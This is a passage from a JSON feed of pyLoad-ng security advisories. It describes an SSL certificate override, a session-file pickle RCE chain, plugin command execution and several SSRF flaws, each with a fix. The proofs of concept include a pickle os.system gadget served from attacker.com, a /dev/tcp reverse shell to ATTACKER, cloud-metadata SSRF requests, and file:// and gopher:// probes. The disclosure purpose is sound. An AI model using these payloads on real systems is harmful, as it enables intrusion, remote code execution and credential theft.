'{\"category\": \"core\", \"config\": {\"webui|ssl_certfile\": \"/tmp/attacker.crt\"}}'\n```\nExpected response: `true` (config saved successfully)\n\n**Step 3:** Set the SSL key to an attacker-controlled file path:\n```bash\ncurl -b cookies.txt -X POST 'http://localhost:8000/json/save_config' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"category\": \"core\", \"config\": {\"webui|ssl_keyfile\": \"/tmp/attacker.key\"}}'\n```\nExpected response: `true` (config saved successfully)\n\n**Step 4:** Set the SSL certificate chain (never protected):\n```bash\ncurl -b cookies.txt -X POST 'http://localhost:8000/json/save_config' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"category\": \"core\", \"config\": {\"webui|ssl_certchain\": \"/tmp/attacker-chain.crt\"}}'\n```\nExpected response: `true` (config saved successfully)\n\n**Step 5:** After the server restarts, it will load the attacker's certificate and key for all HTTPS connections.\n\n## Impact\n\nA non-admin user with SETTINGS permission can replace the SSL certificate and key used by the pyLoad HTTPS server. When the server restarts (or is restarted by an admin), it will serve HTTPS using the attacker's certificate/key pair. This enables:\n\n- **Man-in-the-Middle attacks:** The attacker, possessing the private key for the now-active certificate, can intercept and decrypt all HTTPS traffic to the pyLoad instance, including admin credentials and session tokens.\n- **Credential theft:** All users (including admins) connecting over HTTPS will have their credentials exposed to the attacker.\n- **Configuration tampering:** With intercepted admin credentials, the attacker can escalate to full admin access.\n\nThe attack requires SSL to already be enabled by an admin (the `use_ssl` option is correctly protected), the attacker to place certificate/key files on the filesystem (potentially achievable via pyLoad's download functionality), and a server restart.\n\n## Recommended Fix\n\nFix the option names in `ADMIN_ONLY_CORE_OPTIONS` and add the missing `ssl_certchain` option in `src/pyload/core/api/__init__.py`:\n\n```python\nADMIN_ONLY_CORE_OPTIONS = {\n    (\"general\", \"storage_folder\"),\n    (\"log\", \"syslog_host\"),\n    (\"log\", \"syslog_port\"),\n    (\"proxy\", \"password\"),\n    (\"proxy\", \"username\"),\n    (\"reconnect\", \"script\"),\n    (\"webui\", \"host\"),\n    (\"webui\", \"ssl_certfile\"),    # Fixed: was \"ssl_cert\"\n    (\"webui\", \"ssl_keyfile\"),     # Fixed: was \"ssl_key\"\n    (\"webui\", \"ssl_certchain\"),   # Added: was missing entirely\n    (\"webui\", \"use_ssl\"),\n}\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-08T00:04:34.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/pyload/pyload/security/advisories/GHSA-ppvx-rwh9-7rj7","https://nvd.nist.gov/vuln/detail/CVE-2026-35586","https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-123.yaml","https://github.com/advisories/GHSA-ppvx-rwh9-7rj7"],"source_kind":"github","identifiers":["GHSA-ppvx-rwh9-7rj7","CVE-2026-35586"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-08T01:00:11.374Z","updated_at":"2026-07-12T11:01:49.250Z","epss_percentage":0.00142,"epss_percentile":0.03817,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcHZ4LXJ3aDktN3JqN84ABU3G","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wcHZ4LXJ3aDktN3JqN84ABU3G","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":"0.5.0b3.dev97","vulnerable_version_range":"\u003c 0.5.0b3.dev97"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcHZ4LXJ3aDktN3JqN84ABU3G/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00NzQ0LTk2cDUtbXAyas4ABUuy","url":"https://github.com/advisories/GHSA-4744-96p5-mp2j","title":"pyLoad: Unprotected storage_folder enables arbitrary file write to Flask session store and code execution (Incomplete fix for CVE-2026-33509)","description":"## Summary\n\nThe fix for CVE-2026-33509 (GHSA-r7mc-x6x7-cqxx) added an `ADMIN_ONLY_OPTIONS` set to block non-admin users from modifying security-critical config options. The `storage_folder` option is not in this set and passes the existing path restriction because the Flask session directory is outside both PKGDIR and userdir. A user with SETTINGS and ADD permissions can redirect downloads to the Flask filesystem session store, plant a malicious pickle payload as a predictable session file, and trigger arbitrary code execution when any HTTP request arrives with the corresponding session cookie.\n\n## Required Privileges\n\nThe chain requires a single non-admin user with both `SETTINGS` (to change `storage_folder`) and `ADD` (to submit a download URL) permissions. These are independent bitmask flags that can be assigned together by an admin. The final RCE trigger is unauthenticated: any HTTP request with the crafted session cookie causes deserialization.\n\n## Root Cause\n\n`storage_folder` at `src/pyload/core/api/__init__.py:238-246` has a path check that blocks writing inside PKGDIR or userdir using `os.path.realpath`. However, Flask's filesystem session directory (`/tmp/pyLoad/flask/` in the standard Docker deployment) is outside both restricted paths.\n\npyload configures Flask with `SESSION_TYPE = \"filesystem\"` at `__init__.py:127`. The cachelib `FileSystemCache` stores session files as `md5(\"session:\" + session_id)` and deserializes them with `pickle.load()` on every request that carries the corresponding session cookie.\n\n## Proven RCE Chain\n\nTested against `lscr.io/linuxserver/pyload-ng:latest` Docker image.\n\n**Step 1** — Change download directory to Flask session store:\n\n    POST /api/set_config_value\n    {\"section\":\"core\",\"category\":\"general\",\"option\":\"storage_folder\",\"value\":\"/tmp/pyLoad/flask\"}\n\nThe path check resolves `/tmp/pyLoad/flask/` via `realpath`. It does not start with PKGDIR (`/lsiopy/.../pyload/`) or userdir (`/config/`). Check passes.\n\n**Step 2** — Compute the target session filename:\n\n    md5(\"session:ATTACKER_SESSION_ID\") = 92912f771df217fb6fbfded6705dd47c\n\nFlask-Session uses cachelib which stores files as `md5(key_prefix + session_id)`. The default key prefix is `session:`.\n\n**Step 3** — Host and download the malicious pickle payload:\n\n    import pickle, os, struct\n    class RCE:\n        def __reduce__(self):\n            return (os.system, (\"id \u003e /tmp/pyload-rce-success\",))\n    session = {\"_permanent\": True, \"rce\": RCE()}\n    payload = struct.pack(\"I\", 0) + pickle.dumps(session, protocol=2)\n    # struct.pack(\"I\", 0) = cachelib timeout header (0 = never expires)\n\nServe as `http://attacker.com/92912f771df217fb6fbfded6705dd47c` and submit:\n\n    POST /api/add_package\n    {\"name\":\"x\",\"links\":[\"http://attacker.com/92912f771df217fb6fbfded6705dd47c\"],\"dest\":1}\n\nThe file is saved to `/tmp/pyLoad/flask/92912f771df217fb6fbfded6705dd47c`.\n\n**Step 4** — Trigger deserialization (unauthenticated):\n\n    curl http://target:8000/ -b \"pyload_session_8000=ATTACKER_SESSION_ID\"\n\nThe session cookie name is `pyload_session_` + the configured port number (`__init__.py:128`).\n\nFlask loads the session file. cachelib reads the 4-byte timeout header, confirms the entry is not expired, and calls `pickle.load()`. The RCE gadget executes.\n\n**Result**:\n\n    $ docker exec pyload-poc cat /tmp/pyload-rce-success\n    uid=1000(abc) gid=1000(users) groups=1000(users)\n\n## Impact\n\nA non-admin user with SETTINGS + ADD permissions achieves arbitrary code execution as the pyload service user. The final trigger requires no authentication. The attacker can:\n\n- Execute arbitrary commands with the privileges of the pyload process\n- Read environment variables (API keys, credentials)\n- Access the filesystem (download history, user database)\n- Pivot to other network resources\n\n## Suggested Fix\n\nAdd `storage_folder` to the ADMIN_ONLY set, or extend the path check to block writing to auto-consumed temporary directories (Flask session store, Jinja bytecode cache, pyload temp directory):\n\n    ADMIN_ONLY_OPTIONS = {\n        ...\n        (\"general\", \"storage_folder\"),  # ADDED: prevents session poisoning RCE\n        ...\n    }\n\nAlso correct the existing wrong option names:\n\n    (\"webui\", \"ssl_certfile\"),  # FIXED: was \"ssl_cert\" (dead code)\n    (\"webui\", \"ssl_keyfile\"),   # FIXED: was \"ssl_key\" (dead code)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-04T06:43:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/pyload/pyload/security/advisories/GHSA-4744-96p5-mp2j","https://github.com/pyload/pyload/security/advisories/GHSA-r7mc-x6x7-cqxx","https://nvd.nist.gov/vuln/detail/CVE-2026-33509","https://nvd.nist.gov/vuln/detail/CVE-2026-35464","https://github.com/pyload/pyload/commit/c4cf995a2803bdbe388addfc2b0f323277efc0e1","https://www.cve.org/CVERecord?id=CVE-2026-33509","https://github.com/advisories/GHSA-4744-96p5-mp2j"],"source_kind":"github","identifiers":["GHSA-4744-96p5-mp2j","CVE-2026-35464"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-04T07:00:10.185Z","updated_at":"2026-09-19T09:04:16.088Z","epss_percentage":0.00529,"epss_percentile":0.43518,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NzQ0LTk2cDUtbXAyas4ABUuy","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00NzQ0LTk2cDUtbXAyas4ABUuy","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.5.0b3"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NzQ0LTk2cDUtbXAyas4ABUuy/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13NDhmLXd3d2YtZjVmcs4ABUux","url":"https://github.com/advisories/GHSA-w48f-wwwf-f5fr","title":"pyLoad: Improper Neutralization of Special Elements used in an OS Command","description":"### Summary\n\nThe `ADMIN_ONLY_OPTIONS` protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is **only applied to core config options**, not to plugin config options. The `AntiVirus` plugin stores an executable path (`avfile`) in its config, which is passed directly to `subprocess.Popen()`. A non-admin user with SETTINGS permission can change this path to achieve remote code execution.\n\n### Details\n\n**Safe wrapper — `ADMIN_ONLY_OPTIONS` (core/api/__init__.py:225-235):**\n\n```python\nADMIN_ONLY_OPTIONS = {\n    \"reconnect.script\",      # Blocks script path change\n    \"webui.host\",            # Blocks bind address change\n    \"ssl.cert_file\",         # Blocks cert path change\n    \"ssl.key_file\",          # Blocks key path change\n    # ... other sensitive options\n}\n```\n\n**Where it IS enforced — core config (core/api/__init__.py:255):**\n\n```python\ndef set_config_value(self, section, option, value):\n    if f\"{section}.{option}\" in ADMIN_ONLY_OPTIONS:\n        if not self.user.is_admin:\n            raise PermissionError(\"Admin only\")\n    # ...\n```\n\n**Where it is NOT enforced — plugin config (core/api/__init__.py:271-272):**\n\n```python\n    # Plugin config - NO admin check at all\n    self.pyload.config.set_plugin(category, option, value)\n```\n\n**Dangerous sink — AntiVirus plugin (plugins/addons/AntiVirus.py:75):**\n\n```python\ndef scan_file(self, file):\n    avfile = self.config.get(\"avfile\")    # User-controlled via plugin config\n    avargs = self.config.get(\"avargs\")\n    subprocess.Popen([avfile, avargs, target])  # RCE\n```\n\n### PoC\n\n```bash\n# As non-admin user with SETTINGS permission:\n\n# 1. Set AntiVirus executable to a reverse shell\ncurl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \\\n  -d 'section=plugin' \\\n  -d 'option=AntiVirus.avfile' \\\n  -d 'value=/bin/bash'\n\ncurl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \\\n  -d 'section=plugin' \\\n  -d 'option=AntiVirus.avargs' \\\n  -d 'value=-c \"bash -i \u003e\u0026 /dev/tcp/ATTACKER/4444 0\u003e\u00261\"'\n\n# 2. Enable the AntiVirus plugin\ncurl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \\\n  -d 'section=plugin' \\\n  -d 'option=AntiVirus.activated' \\\n  -d 'value=True'\n\n# 3. Add a download - when it completes, AntiVirus.scan_file() runs the payload\ncurl -b session_cookie -X POST http://TARGET:8000/api/add_package \\\n  -d 'name=test' \\\n  -d 'links=http://example.com/test.zip'\n\n# Result: reverse shell as the pyload process user\n```\n\n### Additional Finding: Arbitrary File Read via storage_folder\n\nThe `storage_folder` validation at `core/api/__init__.py:238-246` uses inverted logic — it prevents the new value from being INSIDE protected directories, but not from being an ANCESTOR of everything. Setting `storage_folder=/` combined with `GET /files/get/etc/passwd` gives arbitrary file read to non-admin users with SETTINGS+DOWNLOAD permissions.\n\n### Impact\n\n- **Remote Code Execution** — Non-admin user can execute arbitrary commands via AntiVirus plugin config\n- **Privilege escalation** — SETTINGS permission (non-admin) escalates to full system access\n- **Arbitrary file read** — Via storage_folder manipulation\n\n### Remediation\n\nApply `ADMIN_ONLY_OPTIONS` to plugin config as well:\n\n```python\n# In set_config_value():\nADMIN_ONLY_PLUGIN_OPTIONS = {\n    \"AntiVirus.avfile\",\n    \"AntiVirus.avargs\",\n    # ... any plugin option that controls executables or paths\n}\n\nif section == \"plugin\" and option in ADMIN_ONLY_PLUGIN_OPTIONS:\n    if not self.user.is_admin:\n        raise PermissionError(\"Admin only\")\n```\n\nOr better: validate that `avfile` points to a known AV binary before passing to `subprocess.Popen()`.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-04T06:41:59.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/pyload/pyload/security/advisories/GHSA-w48f-wwwf-f5fr","https://nvd.nist.gov/vuln/detail/CVE-2026-35463","https://github.com/pyload/pyload/commit/c4cf995a2803bdbe388addfc2b0f323277efc0e1","https://github.com/advisories/GHSA-w48f-wwwf-f5fr"],"source_kind":"github","identifiers":["GHSA-w48f-wwwf-f5fr","CVE-2026-35463"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-04T07:00:10.185Z","updated_at":"2026-09-19T09:04:16.091Z","epss_percentage":0.00815,"epss_percentile":0.55506,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13NDhmLXd3d2YtZjVmcs4ABUux","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13NDhmLXd3d2YtZjVmcs4ABUux","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.5.0b3.dev96"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13NDhmLXd3d2YtZjVmcs4ABUux/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03Z3ZmLTN3NzItcDJwZ84ABUuw","url":"https://github.com/advisories/GHSA-7gvf-3w72-p2pg","title":"pyLoad: SSRF filter bypass via HTTP redirect in BaseDownloader (Incomplete fix for CVE-2026-33992)","description":"## Summary\n\nThe fix for CVE-2026-33992 (GHSA-m74m-f7cr-432x) added IP validation to `BaseDownloader.download()` that checks the hostname of the initial download URL. However, pycurl is configured with `FOLLOWLOCATION=1` and `MAXREDIRS=10`, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter.\n\nAn authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.\n\n## Root Cause\n\nThe SSRF check at `src/pyload/plugins/base/downloader.py:335-341` validates only the initial URL:\n\n    dl_hostname = urllib.parse.urlparse(dl_url).hostname\n    if is_ip_address(dl_hostname) and not is_global_address(dl_hostname):\n        self.fail(...)\n    else:\n        for ip in host_to_ip(dl_hostname):\n            if not is_global_address(ip):\n                self.fail(...)\n\nAfter the check passes, `_download()` is called. pycurl is configured at `src/pyload/core/network/http/http_request.py:114-115` to follow redirects:\n\n    self.c.setopt(pycurl.FOLLOWLOCATION, 1)\n    self.c.setopt(pycurl.MAXREDIRS, 10)\n\nNo `CURLOPT_REDIR_PROTOCOLS` restriction is set anywhere in HTTPRequest. Redirect targets bypass the SSRF filter entirely.\n\n## PoC\n\nRedirect server (attacker-controlled):\n\n    from http.server import HTTPServer, BaseHTTPRequestHandler\n\n    class RedirectHandler(BaseHTTPRequestHandler):\n        def do_GET(self):\n            self.send_response(302)\n            self.send_header(\"Location\", \"http://169.254.169.254/metadata/v1.json\")\n            self.end_headers()\n\n    HTTPServer((\"0.0.0.0\", 8888), RedirectHandler).serve_forever()\n\nSubmit to pyload (requires ADD permission):\n\n    curl -b cookies.txt -X POST 'http://target:8000/json/add_package' \\\n      -d 'add_name=ssrf-test\u0026add_dest=1\u0026add_links=http://attacker.com:8888/redirect'\n\nThe SSRF check resolves `attacker.com` to a public IP and passes. pycurl follows the 302 redirect to `http://169.254.169.254/metadata/v1.json` without validation. Cloud metadata is downloaded and saved to the storage folder.\n\n## Impact\n\nAn authenticated user with ADD permission can access:\n\n- Cloud metadata endpoints (169.254.169.254) for AWS, GCP, DigitalOcean, Azure — including IAM credentials and instance identity\n- Internal network services (10.x, 172.16.x, 192.168.x)\n- Localhost services (127.0.0.1)\n\nThis is the same impact as CVE-2026-33992 (rated Critical), achieved through a single redirect hop. The severity is reduced from Critical to High because authentication with ADD permission is now required.\n\n## Suggested Fix\n\nDisable automatic redirect following and validate each redirect target:\n\n    # In HTTPRequest.__init__():\n    self.c.setopt(pycurl.FOLLOWLOCATION, 0)\n\nThen implement manual redirect following in the download logic with SSRF validation at each hop. Alternatively, restrict redirect protocols:\n\n    self.c.setopt(pycurl.REDIR_PROTOCOLS, pycurl.PROTO_HTTP | pycurl.PROTO_HTTPS)\n\nAnd add a pycurl callback to validate redirect destination IPs before following.\n\n## Resources\n\n- CVE-2026-33992 / GHSA-m74m-f7cr-432x: Original SSRF (Critical, unauthenticated). This bypass requires ADD permission.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-04-04T06:41:08.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N","references":["https://github.com/pyload/pyload/security/advisories/GHSA-7gvf-3w72-p2pg","https://nvd.nist.gov/vuln/detail/CVE-2026-33992","https://nvd.nist.gov/vuln/detail/CVE-2026-35459","https://github.com/pyload/pyload/commit/33c55da084320430edfd941b60e3da0eb1be9443","https://github.com/advisories/GHSA-7gvf-3w72-p2pg"],"source_kind":"github","identifiers":["GHSA-7gvf-3w72-p2pg","CVE-2026-35459"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-04T07:00:10.185Z","updated_at":"2026-09-19T09:04:16.093Z","epss_percentage":0.00279,"epss_percentile":0.20526,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03Z3ZmLTN3NzItcDJwZ84ABUuw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03Z3ZmLTN3NzItcDJwZ84ABUuw","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.5.0b3.dev96"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03Z3ZmLTN3NzItcDJwZ84ABUuw/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yd3ZnLTYycW0tZ2ozM84ABUuN","url":"https://github.com/advisories/GHSA-2wvg-62qm-gj33","title":"pyLoad: SSRF in parse_urls API endpoint via unvalidated URL parameter","description":"## Vulnerability Details\n\n**CWE-918**: Server-Side Request Forgery (SSRF)\n\nThe `parse_urls` API function in `src/pyload/core/api/__init__.py` (line 556) fetches arbitrary URLs server-side via `get_url(url)` (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:\n\n- Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints\n- **Read local files** via `file://` protocol (pycurl reads the file server-side)\n- **Interact with internal services** via `gopher://` and `dict://` protocols\n- **Enumerate file existence** via error-based oracle (error 37 vs empty response)\n\n### Vulnerable Code\n\n**`src/pyload/core/api/__init__.py` (line 556)**:\n\n```python\ndef parse_urls(self, html=None, url=None):\n    if url:\n        page = get_url(url)  # NO protocol restriction, NO URL validation, NO IP blacklist\n        urls.update(RE_URLMATCH.findall(page))\n```\n\nNo validation is applied to the `url` parameter. The underlying pycurl supports `file://`, `gopher://`, `dict://`, and other dangerous protocols by default.\n\n## Steps to Reproduce\n\n### Setup\n\n```bash\ndocker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest\n```\n\nLog in as any user with ADD permission and extract the CSRF token:\n\n```bash\nCSRF=\n```\n\n### PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)\n\n```bash\ncurl -s -b \"pyload_session_8000=\u003cSESSION\u003e\"   -H \"X-CSRFToken: \"   -H \"Content-Type: application/x-www-form-urlencoded\"   -d \"url=http://ssrf-proof.\u003cCALLBACK_DOMAIN\u003e/pyload-ssrf-poc\"   http://localhost:8084/api/parse_urls\n```\n\n**Result**: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments.\n\n### PoC 2: Local file read via file:// protocol\n\n```bash\n# Reading /etc/passwd (file exists) -\u003e empty response (no error)\ncurl ... -d \"url=file:///etc/passwd\" http://localhost:8084/api/parse_urls\n# Response: {}\n\n# Reading nonexistent file -\u003e pycurl error 37\ncurl ... -d \"url=file:///nonexistent\" http://localhost:8084/api/parse_urls\n# Response: {\"error\": \"(37, \\'Couldn't open file /nonexistent\\')\"}\n```\n\nThe difference confirms pycurl successfully reads local files. While `parse_urls` only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a **file existence oracle**.\n\nFiles confirmed readable:\n- `/etc/passwd`, `/etc/hosts`\n- `/proc/self/environ` (process environment variables)\n- `/config/settings/pyload.cfg` (pyLoad configuration)\n- `/config/data/pyload.db` (SQLite database)\n\n### PoC 3: Internal port scanning\n\n```bash\ncurl ... -d \"url=http://127.0.0.1:22/\" http://localhost:8084/api/parse_urls\n# Response: pycurl.error: (7, 'Failed to connect to 127.0.0.1 port 22')\n```\n\n### PoC 4: gopher:// and dict:// protocol support\n\n```bash\ncurl ... -d \"url=gopher://127.0.0.1:6379/_INFO\" http://localhost:8084/api/parse_urls\ncurl ... -d \"url=dict://127.0.0.1:11211/stat\" http://localhost:8084/api/parse_urls\n```\n\nBoth protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.).\n\n## Impact\n\nAn authenticated user with ADD permission can:\n\n- **Read local files** via `file://` protocol (configuration, credentials, database files)\n- **Enumerate file existence** via error-based oracle (`Couldn't open file` vs empty response)\n- **Access cloud metadata endpoints** (AWS IAM credentials at `http://169.254.169.254/`, GCP service tokens)\n- **Scan internal network** services and ports via error-based timing\n- **Interact with internal services** via `gopher://` (Redis RCE, SMTP relay) and `dict://`\n- **Exfiltrate data** via DNS/HTTP to attacker-controlled servers\n\nThe multi-protocol support (`file://`, `gopher://`, `dict://`) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF.\n\n## Proposed Fix\n\nRestrict allowed protocols and validate target addresses:\n\n```python\nfrom urllib.parse import urlparse\nimport ipaddress\nimport socket\n\ndef _is_safe_url(url):\n    parsed = urlparse(url)\n    if parsed.scheme not in ('http', 'https'):\n        return False\n    hostname = parsed.hostname\n    if not hostname:\n        return False\n    try:\n        for info in socket.getaddrinfo(hostname, None):\n            ip = ipaddress.ip_address(info[4][0])\n            if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:\n                return False\n    except (socket.gaierror, ValueError):\n        return False\n    return True\n\ndef parse_urls(self, html=None, url=None):\n    if url:\n        if not _is_safe_url(url):\n            raise ValueError(\"URL targets a restricted address or uses a disallowed protocol\")\n        page = get_url(url)\n        urls.update(RE_URLMATCH.findall(page))\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-04T04:18:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.7,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","references":["https://github.com/pyload/pyload/security/advisories/GHSA-2wvg-62qm-gj33","https://nvd.nist.gov/vuln/detail/CVE-2026-35187","https://github.com/pyload/pyload/commit/4032e57d61d8f864e39f4dcfdb567527a50a9e1f","https://github.com/advisories/GHSA-2wvg-62qm-gj33"],"source_kind":"github","identifiers":["GHSA-2wvg-62qm-gj33","CVE-2026-35187"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-04T05:00:11.966Z","updated_at":"2026-07-12T11:01:51.959Z","epss_percentage":0.00269,"epss_percentile":0.18504,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yd3ZnLTYycW0tZ2ozM84ABUuN","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yd3ZnLTYycW0tZ2ozM84ABUuN","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.5.0b3.dev96"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yd3ZnLTYycW0tZ2ozM84ABUuN/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tNzRtLWY3Y3ItNDMyeM4ABUYg","url":"https://github.com/advisories/GHSA-m74m-f7cr-432x","title":"pyLoad: Server-Side Request Forgery via Download Link Submission Enables Cloud Metadata Exfiltration","description":"## Summary\n\nPyLoad's download engine accepts arbitrary URLs without validation, enabling Server-Side Request Forgery (SSRF) attacks. An authenticated attacker can exploit this to access internal network services and exfiltrate cloud provider metadata. On DigitalOcean droplets, this exposes sensitive infrastructure data including droplet ID, network configuration, region, authentication keys, and SSH keys configured in user-data/cloud-init.\n\n## Details\n\nThe vulnerability exists in PyLoad's download package functionality (`/api/addPackage` endpoint), which directly passes user-supplied URLs to the download engine without validating the destination. The affected code in `src/pyload/webui/app/blueprints/api_blueprint.py`:\n\n```python\n@bp.route(\"/addPackage\", methods=[\"POST\"], endpoint=\"add_package\")\n@login_required\ndef add_package():\n    name = flask.request.form[\"add_name\"]\n    links = flask.request.form[\"add_links\"].split(\"\\n\")\n    # ... validation omitted ...\n    api.add_package(name, links, dest)  # No URL validation\n```\n\nThe download engine in `src/pyload/core/managers/download.py` accepts any URL scheme and initiates HTTP requests to arbitrary destinations, including internal network addresses and cloud metadata endpoints.\n\n## Proof of Concept\n\n**Live Demo Instance:** http://143.244.141.81:8000  \n**Credentials:** `pyload` / `pyload`\n\n- Login into the pyload application\n- Navigate to package tab and enter the package name and fill the Link section with the following URL\n\n```\nhttp://169.254.169.254/metadata/v1.json\n```\n\n\u003cimg width=\"1851\" height=\"786\" alt=\"image\" src=\"https://github.com/user-attachments/assets/18e7aedf-7663-4a57-8f3e-5200be2c958e\" /\u003e\n\n- Now navigate to Files section and download the link.\n\n\u003cimg width=\"1429\" height=\"870\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9b8b9cd6-afb7-461c-b058-a3cc4f26e2e6\" /\u003e\n\n- It was observed that we are able to Read the Digital Ocean Metadata\n\n\u003cimg width=\"1872\" height=\"837\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d30d2d74-53e9-46f8-8206-894a275ac831\" /\u003e\n\nThe downloaded `v1.json` file contains sensitive cloud infrastructure data:\n- **Droplet ID**: Unique identifier for the instance\n- **Network Configuration**: Public/private IP addresses, VPC topology\n- **Authentication Keys**: Cloud provider auth tokens\n- **SSH Keys**: Public keys configured in droplet metadata\n- **Region and Datacenter**: Infrastructure location\n\n## Impact\n\n**Vulnerability Type:** Server-Side Request Forgery (SSRF)  \n**CVSS Score:** 7.7 - 9.1 (High to Critical, depending on cloud deployment)\n\n### Affected Systems\n- All PyLoad installations (version 0.5.0 and potentially earlier)\n- **Critical Impact** on cloud deployments (AWS EC2, DigitalOcean, Google Cloud, Azure) where metadata contains:\n  - IAM credentials (AWS)\n  - SSH private keys (configured in user-data)\n  - API tokens and secrets\n  - Database credentials stored in cloud-init\n\n### Attack Requirements\n- Valid PyLoad user account (any role - ADMIN or USER)\n- Network connectivity to PyLoad instance\n\n### Security Impact\n1. **Cloud Metadata Theft**: Complete exfiltration of instance metadata\n2. **Lateral Movement**: Discovery and enumeration of internal network services\n3. **Credential Exposure**: Theft of cloud IAM credentials, SSH keys, API tokens\n4. **Infrastructure Mapping**: Network topology, IP addressing, service discovery\n\n## Remediation\n\nImplement URL validation in the download engine:\n1. Whitelist allowed URL schemes (http/https only)\n2. Block requests to private IP ranges (RFC 1918, link-local addresses)\n3. Block cloud metadata endpoints (169.254.169.254, metadata.google.internal, etc.)\n4. Implement request destination validation before initiating 